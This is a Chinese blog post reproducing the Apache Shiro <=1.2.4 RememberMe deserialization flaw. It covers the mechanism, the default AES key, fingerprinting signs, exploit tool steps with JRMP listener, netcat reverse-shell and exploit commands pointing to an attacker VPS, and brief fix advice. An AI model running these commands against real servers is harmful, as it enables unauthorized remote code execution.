【漏洞復現】Shiro<=1.2.4反序列化漏洞

0nth3way發表於2020-11-04

0x01 概述

 

Shiro簡介

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕鬆地獲得任何應用程式,從最小的移動應用程式到最大的網路和企業應用程式。

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的使用者資訊序列化後儲存在名為remember-me的Cookie中。攻擊者可以使用Shiro的預設金鑰偽造使用者Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

漏洞原理

Apache Shiro框架提供了記住密碼的功能(RememberMe),使用者登陸成功後會生成經過加密並編碼的cookie。cookie的key為RememberMe,cookie的值是經過對相關資訊進行序列化,然後使用aes加密,最後在使用base64編碼處理形成的。 在服務端接收cookie值時,按照如下步驟來解析處理:

1、檢索RememberMe cookie 的值
2、Base64解碼
3、使用AES解密(加密金鑰硬編碼)
4、進行反序列化操作(未作過濾處理)

在呼叫反序列化時未進行任何過濾,導致可以觸發遠端程式碼執行漏洞

利用條件

需要知道key(AES加密金鑰)

Shiro1.2.4之前版本中使用的是硬編碼。其預設金鑰的base64編碼後的值為:kPH+bIxk5D2deZiIxcaaaA==

儘管目前已經更新了許多版本,官方並沒有反序列化漏洞本身解決,而是通過去掉硬編碼的金鑰,使其每次生成一個金鑰來解決該漏洞。這裡我們可以通過搜尋引擎、github等來收集金鑰,提高漏洞檢測與利用的成功率。

 

0x02 檢測與利用

特徵

1、登入頁面的響應包的Set-Cookie中存在rememberMe=deleteMe
2、登陸後Cookie中有rememberMe=

工具檢測與利用

工具1:ShiroExploit.jar + ysoserial.jar

下載地址:https://github.com/feihong-cs/ShiroExploit

1、輸入待測URL

2、選擇檢測方式

(1)選擇使用哪種方式檢測

(2)自動遍歷尋找key

(3)自動尋找可用Gadget

3、執行命令(需要編碼,線上轉換地址:http://www.jackson-t.ca/runtime-exec-payloads.html

(1)執行命令(手動編碼後執行)

手動編碼

執行命令

執行成功

 

(2)直接反彈shell(工具自動編碼執行)

工具2:shiro_exploit.py + ysoserial.jar

下載地址:https://github.com/insightglacier/Shiro_exploit

(1)VPS開啟JRMP監聽

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '編碼後的命令'

(2)VPS開啟nc

nc -l 8080

(3)本地執行shiro_exploit.py

python2 shiro_exploit.py -u "http://192.168.17.157:8080" -t 2 -g JRMPClient -p "VPS_IP:1099" -k "kPH+bIxk5D2deZiIxcaaaA=="

 

0x03 修復建議

1、升級最新版Shiro

2、不要硬編碼

相關文章